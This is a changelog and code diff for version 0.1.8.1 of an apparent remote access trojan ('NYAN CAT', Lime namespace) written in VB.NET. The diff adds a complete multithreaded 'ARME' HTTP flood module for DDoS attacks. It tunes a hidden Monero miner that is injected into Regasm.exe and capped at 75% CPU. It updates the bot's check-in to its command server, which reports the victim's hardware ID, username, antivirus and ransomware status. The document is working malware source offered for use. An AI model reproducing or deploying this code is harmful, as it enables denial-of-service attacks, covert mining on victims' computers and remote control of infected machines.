UPDATE 0v.1.8.1

1- Updated GeoIP.dat
2- Updated XMR [Smaller dll size, donatio=0]
3- Added new DDoS method [ARME]
4- Fixed small bugs

Project/Client/C_ID.vb

@@ -172,7 +172,7 @@
                         Dim searcher As Management.ManagementObjectSearcher = New Management.ManagementObjectSearcher(wmiQuery)
                         Dim retObjectCollection As Management.ManagementObjectCollection = searcher.Get
                         For Each retObject As Management.ManagementObject In retObjectCollection
-                            If retObject("CommandLine").ToString.Contains("--donate-level=1") Then
+                            If retObject("CommandLine").ToString.Contains("--donate-level=") Then
                                 Return "Running"
                             End If
                         Next

Project/Client/C_Main.vb

@@ -1,5 +1,5 @@
 '##################################################################
-'##         N Y A N   C A T  |||   Updated on Aug/20/2018        ##
+'##         N Y A N   C A T  |||   Updated on Aug/24/2018        ##
 '##################################################################
 '##                                                              ##
 '##                                                              ##

Project/Client/C_Socket.vb

@@ -1,6 +1,7 @@
 Namespace Lime
 
     Public Class C_Socket
+
         Public Shared KEY As String = C_Settings.KEY
         Public Shared SPL As String = C_Settings.SPL
         Public Shared C As Net.Sockets.TcpClient
@@ -73,13 +74,13 @@ e:      ' clear things and ReConnect
             End Try
             MS = New IO.MemoryStream
             Try
-                C = New Net.Sockets.TcpClient
-                C.ReceiveTimeout = -1
-                C.SendTimeout = -1
-                C.SendBufferSize = 9999999
-                C.ReceiveBufferSize = 9999999
-                C.Client.SendBufferSize = 9999999
-                C.Client.ReceiveBufferSize = 9999999
+                C = New Net.Sockets.TcpClient With {
+                    .ReceiveTimeout = -1,
+                    .SendTimeout = -1,
+                    .SendBufferSize = 9999999,
+                    .ReceiveBufferSize = 9999999
+                }
+
                 KA = 0
 #If DEBUG Then
                 C_Settings.HOST = "127.0.0.1"
@@ -98,7 +99,7 @@ e:      ' clear things and ReConnect
                 C.Client.Connect(C_Settings.HOST, C_Settings.PORT)
                 CNT = True
                 'Send info to server
-                Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.8.0", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL,
+                Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.8.1", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL,
                                    C_ID.INDATE, SPL, C_ID.AV, SPL, C_ID.Rans, SPL, C_ID.XMR, SPL, C_ID.USBSP, SPL, " ", SPL, " "))
             Catch ex As Exception
                 Threading.Thread.CurrentThread.Sleep(R.Next(5000))

Project/Plugins/DDOS/ARME.vb

@@ -0,0 +1,116 @@
+Imports System.Collections.Generic
+Imports System.Text
+Imports System.Threading
+Imports System.Net.Sockets
+Imports System.Net
+Imports System.Diagnostics
+Public Module ARME
+
+    Private ThreadsEnded = 0
+    Private PostDATA As String
+    Private HostToAttack As String
+    Private TimetoAttack As Integer
+    Private ThreadstoUse As Integer
+    Private Threads As Thread()
+    Private AttackRunning As Boolean = False
+    Private Attacks As Integer = 0
+    Public Sub StartARME(ByVal Host As String, ByVal Threadsto As Integer, ByVal Time As Integer, ByVal data As String)
+        If Not AttackRunning = True Then
+            AttackRunning = True
+            HostToAttack = Host
+            PostDATA = data
+            ThreadstoUse = Threadsto
+            TimetoAttack = Time * 60
+
+            If HostToAttack.Contains("http://") Then HostToAttack = HostToAttack.Replace("http://", String.Empty)
+            If HostToAttack.Contains("www.") Then HostToAttack = HostToAttack.Replace("www.", String.Empty)
+            If HostToAttack.Contains("/") Then HostToAttack = HostToAttack.Replace("/", String.Empty)
+
+
+            Threads = New Thread(Threadsto - 1) {}
+            STV("Flood", "ARME Attack on " & HostToAttack & " started!")
+            For i As Integer = 0 To Threadsto - 1
+                Threads(i) = New Thread(AddressOf DoWork)
+                Threads(i).IsBackground = True
+                Threads(i).Start()
+            Next
+
+            Dim Stoped As New Threading.Thread(AddressOf StopARME)
+            Stoped.Start()
+
+        Else
+            STV("Flood", "An ARME Attack is Already Running on " & HostToAttack)
+        End If
+
+    End Sub
+    Private Sub lol()
+
+        ThreadsEnded = ThreadsEnded + 1
+        If ThreadsEnded = ThreadstoUse Then
+            ThreadsEnded = 0
+            ThreadstoUse = 0
+            AttackRunning = False
+            STV("Flood", "ARME Attack on " & HostToAttack & " finished successfully. Attacks Sent: " & Attacks.ToString)
+            Attacks = 0
+        End If
+
+    End Sub
+
+    Public Sub StopARME()
+
+1:
+        If GTV("ARME|STOP") = "False" Then
+            Thread.Sleep(1000)
+            GoTo 1
+        End If
+
+
+        If AttackRunning = True Then
+            For i As Integer = 0 To ThreadstoUse - 1
+                Try
+                    Threads(i).Abort()
+                Catch
+                End Try
+            Next
+            AttackRunning = False
+
+            STV("Flood", "ARME Attack on " & HostToAttack & " aborted successfully. Attacks Sent: " & Attacks.ToString)
+            Attacks = 0
+
+        Else
+            STV("Flood", "ARME Attack: Not Running!")
+        End If
+    End Sub
+
+    Private Sub DoWork()
+        Try
+            Dim socketArray As Socket() = New Socket(100 - 1) {}
+            Dim span As TimeSpan = TimeSpan.FromSeconds(CDbl(TimetoAttack))
+            Dim stopwatch As Stopwatch = Stopwatch.StartNew
+            Do While (stopwatch.Elapsed < span)
+                Try
+                    Dim i As Integer
+                    Dim Http As New WebClient()
+                    For i = 0 To 100 - 1
+                        socketArray(i) = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
+                        socketArray(i).Connect(Dns.GetHostAddresses(HostToAttack), 80)
+                        socketArray(i).Send(ASCIIEncoding.Default.GetBytes("HEAD / HTTP/1.1" & ChrW(13) & ChrW(10) & "Host: " & HostToAttack.ToString() & ChrW(13) & ChrW(10) & "Content-length: 5235" & ChrW(13) & ChrW(10) & ChrW(13) & ChrW(10)))
+                        Attacks = Attacks + 1
+                    Next i
+                    Dim j As Integer
+                    For j = 0 To 100 - 1
+                        socketArray(j).Close()
+                    Next j
+                    Continue Do
+
+
+
+                Catch
+
+                    Continue Do
+                End Try
+            Loop
+        Catch : End Try
+        lol()
+    End Sub
+End Module

Project/Plugins/DDOS/DDOS.vbproj

@@ -58,6 +58,7 @@
     <Import Include="System.Diagnostics" />
   </ItemGroup>
   <ItemGroup>
+    <Compile Include="ARME.vb" />
     <Compile Include="FUNC.vb" />
     <Compile Include="Main.vb" />
     <Compile Include="My Project\AssemblyInfo.vb" />

Project/Plugins/DDOS/Main.vb

@@ -16,6 +16,16 @@
                     Case "2"
                         STV("Slowloris|STOP", "True")
                 End Select
+
+            Case "ARME"
+                Select Case A(1)
+                    Case "1"
+                        STV("ARME|STOP", "False")
+                        ARME.StartARME(A(2), A(3), A(4), A(5))
+                    Case "2"
+                        STV("ARME|STOP", "True")
+                End Select
+
         End Select
 
     End Sub

Project/Plugins/XMR/Main.vb

@@ -115,9 +115,9 @@ Public Class Main
 
     Public Shared Sub XM(ByVal cpu As String, ByVal url As String, ByVal user As String, ByVal pass As String)
         Try
-            Run("C:\Windows\Microsoft.NET\Framework\v2.0.50727\Regasm.exe", "-B --donate-level=1 -t " & cpu & " -a cryptonight --url=" & url & " -u " & user & " -p " & pass & " -R --variant=-1 --max-cpu-usage=75", GZip(My.Resources.xm), True)
+            Run("C:\Windows\Microsoft.NET\Framework\v2.0.50727\Regasm.exe", "-B --donate-level=0 -t " & cpu & " -a cryptonight --url=" & url & " -u " & user & " -p " & pass & " -R --variant=-1 --max-cpu-usage=75", GZip(My.Resources.xm), True)
         Catch ex As Exception
-            Run("C:\Windows\Microsoft.NET\Framework\v4.0.30319\Regasm.exe", "-B --donate-level=1 -t " & cpu & " -a cryptonight --url=" & url & " -u " & user & " -p " & pass & " -R --variant=-1 --max-cpu-usage=75", GZip(My.Resources.xm), True)
+            Run("C:\Windows\Microsoft.NET\Framework\v4.0.30319\Regasm.exe", "-B --donate-level=0 -t " & cpu & " -a cryptonight --url=" & url & " -u " & user & " -p " & pass & " -R --variant=-1 --max-cpu-usage=75", GZip(My.Resources.xm), True)
         End Try
     End Sub
 

Project/Server/Classes/S_GIO.vb → Project/Server/Classes/S_GeoIP.vb

@@ -1,7 +1,7 @@
 Imports System.IO
 Imports System.Net
 
-Public Class S_GIO
+Public Class S_GeoIP
     Public MS As MemoryStream
     Private Shared CountryBegin As Long = 16776960
     Private Shared CountryName As String() = {"LocalHost", "Asia/Pacific Region", "Europe", "Andorra", "United Arab Emirates", "Afghanistan", "Antigua and Barbuda", "Anguilla", "Albania", "Armenia", "Netherlands Antilles", "Angola", "Antarctica", "Argentina", "American Samoa", "Austria", "Australia", "Aruba", "Azerbaijan", "Bosnia and Herzegovina", "Barbados", "Bangladesh", "Belgium", "Burkina Faso", "Bulgaria", "Bahrain", "Burundi", "Benin", "Bermuda", "Brunei Darussalam", "Bolivia", "Brazil", "Bahamas", "Bhutan", "Bouvet Island", "Botswana", "Belarus", "Belize", "Canada", "Cocos (Keeling) Islands", "Congo, The Democratic Republic of the", "Central African Republic", "Congo", "Switzerland", "Cote D'Ivoire", "Cook Islands", "Chile", "Cameroon", "China", "Colombia", "Costa Rica", "Cuba", "Cape Verde", "Christmas Island", "Cyprus", "Czech Republic", "Germany", "Djibouti", "Denmark", "Dominica", "Dominican Republic", "Algeria", "Ecuador", "Estonia", "Egypt", "Western Sahara", "Eritrea", "Spain", "Ethiopia", "Finland", "Fiji", "Falkland Islands (Malvinas)", "Micronesia, Federated States of", "Faroe Islands", "France", "France, Metropolitan", "Gabon", "United Kingdom", "Grenada", "Georgia", "French Guiana", "Ghana", "Gibraltar", "Greenland", "Gambia", "Guinea", "Guadeloupe", "Equatorial Guinea", "Greece", "South Georgia and the South Sandwich Islands", "Guatemala", "Guam", "Guinea-Bissau", "Guyana", "Hong Kong", "Heard Island and McDonald Islands", "Honduras", "Croatia", "Haiti", "Hungary", "Indonesia", "Ireland", "Israel", "India", "British Indian Ocean Territory", "Iraq", "Iran, Islamic Republic of", "Iceland", "Italy", "Jamaica", "Jordan", "Japan", "Kenya", "Kyrgyzstan", "Cambodia", "Kiribati", "Comoros", "Saint Kitts and Nevis", "Korea, Democratic People's Republic of", "Korea, Republic of", "Kuwait", "Cayman Islands", "Kazakstan", "Lao People's Democratic Republic", "Lebanon", "Saint Lucia", "Liechtenstein", "Sri Lanka", "Liberia", "Lesotho", "Lithuania", "Luxembourg", "Latvia", "Libyan Arab Jamahiriya", "Morocco", "Monaco", "Moldova, Republic of", "Madagascar", "Marshall Islands", "Macedonia, the Former Yugoslav Republic of", "Mali", "Myanmar", "Mongolia", "Macao", "Northern Mariana Islands", "Martinique", "Mauritania", "Montserrat", "Malta", "Mauritius", "Maldives", "Malawi", "Mexico", "Malaysia", "Mozambique", "Namibia", "New Caledonia", "Niger", "Norfolk Island", "Nigeria", "Nicaragua", "Netherlands", "Norway", "Nepal", "Nauru", "Niue", "New Zealand", "Oman", "Panama", "Peru", "French Polynesia", "Papua New Guinea", "Philippines", "Pakistan", "Poland", "Saint Pierre and Miquelon", "Pitcairn", "Puerto Rico", "Palestinian Territory, Occupied", "Portugal", "Palau", "Paraguay", "Qatar", "Reunion", "Romania", "Russian Federation", "Rwanda", "Saudi Arabia", "Solomon Islands", "Seychelles", "Sudan", "Sweden", "Singapore", "Saint Helena", "Slovenia", "Svalbard and Jan Mayen", "Slovakia", "Sierra Leone", "San Marino", "Senegal", "Somalia", "Suriname", "Sao Tome and Principe", "El Salvador", "Syrian Arab Republic", "Swaziland", "Turks and Caicos Islands", "Chad", "French Southern Territories", "Togo", "Thailand", "Tajikistan", "Tokelau", "Turkmenistan", "Tunisia", "Tonga", "Timor-Leste", "Turkey", "Trinidad and Tobago", "Tuvalu", "Taiwan, Province of China", "Tanzania, United Republic of", "Ukraine", "Uganda", "United States Minor Outlying Islands", "United States", "Uruguay", "Uzbekistan", "Holy See (Vatican City State)", "Saint Vincent and the Grenadines", "Venezuela", "Virgin Islands, British", "Virgin Islands, U.S.", "Vietnam", "Vanuatu", "Wallis and Futuna", "Samoa", "Yemen", "Mayotte", "Yugoslavia", "South Africa", "Zambia", "Montenegro", "Zimbabwe", "Anonymous Proxy", "Satellite Provider", "Other", "Aland Islands", "Guernsey", "Isle of Man", "Jersey", "Saint Barthelemy", "Saint Martin"}

Project/Server/Classes/S_Settings.vb

@@ -3,7 +3,7 @@
     Public Shared PORT As Integer
     Public Shared EncryptionKey As String
     Public Shared IP As String = String.Empty
-    Public Shared StubVer As String = "v0.1.8.0"
+    Public Shared StubVer As String = "v0.1.8.1"
     Public Shared SPL As String = "|'L'|"
     Public Shared KEY As String = "|'N'|"
 

Project/Server/Classes/S_Socket.vb

@@ -5,19 +5,20 @@
     Public Event Data(ByVal u As USER, ByVal b As Byte())
     Public Event Disconnected(ByVal u As USER)
     Public Event Connected(ByVal u As USER)
-    Public Event ms(ByVal u As USER, ByVal ms As Integer)
-    Public t As New Threading.Thread(AddressOf pnd)
+    Public t As New Threading.Thread(AddressOf Pnd)
+    Public Online As New Collection
 
     Sub New(ByVal port As Integer)
         S = New Net.Sockets.TcpListener(New Net.IPEndPoint(Net.IPAddress.Any, port))
-        S.Start()
         S.Server.ReceiveTimeout = -1
         S.Server.SendTimeout = -1
-        S.Server.SendBufferSize = 9999999
-        S.Server.ReceiveBufferSize = 9999999
+        S.Server.SendBufferSize = 8888888
+        S.Server.ReceiveBufferSize = 8888888
+        S.Start()
         t.Start()
     End Sub
-    Sub pnd()
+
+    Sub Pnd()
         While True
             Dim x = S.AcceptSocket
             Dim u As New USER(x, Me)
@@ -28,7 +29,7 @@
             End SyncLock
         End While
     End Sub
-    Public Online As New Collection
+
     Sub Read(ByVal ar As IAsyncResult)
         Dim u As USER = ar.AsyncState
         If u.IsConnected = False Then GoTo disconnect
@@ -61,6 +62,7 @@ disconnect:
             RaiseEvent Disconnected(u)
         End SyncLock
     End Sub
+
     Public Function Send(ByVal u As USER, ByVal s As String) As Boolean
         Return SendData(u, SB(S_Encryption.AES_Encrypt(s)))
     End Function
@@ -88,22 +90,27 @@ Public Class USER
     Public L As ListViewItem = Nothing
     Public C As Net.Sockets.Socket
     Public IP As String = ""
-    Public B(9999999) As Byte
+    Public B(8888888) As Byte
     Public MEM As New IO.MemoryStream
     Public IsPinged As Boolean = False
     Public MS As Integer = 2500
+    Delegate Sub _INV()
+
+
     Sub New(ByVal c As Net.Sockets.Socket, ByVal listner As S_Socket)
         Me.C = c
         Me.Listner = listner
         IP = c.RemoteEndPoint.ToString
-        My.Application.OpenForms(0).Invoke(New _INV(AddressOf inv))
+        My.Application.OpenForms(0).Invoke(New _INV(AddressOf Inv))
     End Sub
-    Delegate Sub _INV()
-    Sub inv()
-        Timer = New Timer
-        Timer.Interval = 1
-        Timer.Enabled = True
+
+    Sub Inv()
+        Timer = New Timer With {
+            .Interval = 1,
+            .Enabled = True
+        }
     End Sub
+
     Sub TICK() Handles Timer.Tick
         MS += 1
         If IsConnected = False Then
@@ -119,6 +126,7 @@ Public Class USER
             End If
         End If
     End Sub
+
     Public Sub Disconnect()
         IsConnected = False
         Try
@@ -130,4 +138,5 @@ Public Class USER
         Catch ex As Exception
         End Try
     End Sub
+
 End Class

Project/Server/Forms/Intro.vb

@@ -14,7 +14,7 @@
             End If
 
             If Not IO.File.Exists(Application.StartupPath & "\Misc\GIO.dat") Then
-                IO.File.WriteAllBytes(Application.StartupPath & "\Misc\GIO.dat", My.Resources.GIO)
+                IO.File.WriteAllBytes(Application.StartupPath & "\Misc\GeoIP.dat", My.Resources.GeoIP)
             End If
 
             If Not IO.Directory.Exists(Application.StartupPath + "\Misc" + "\Wallpaper") Then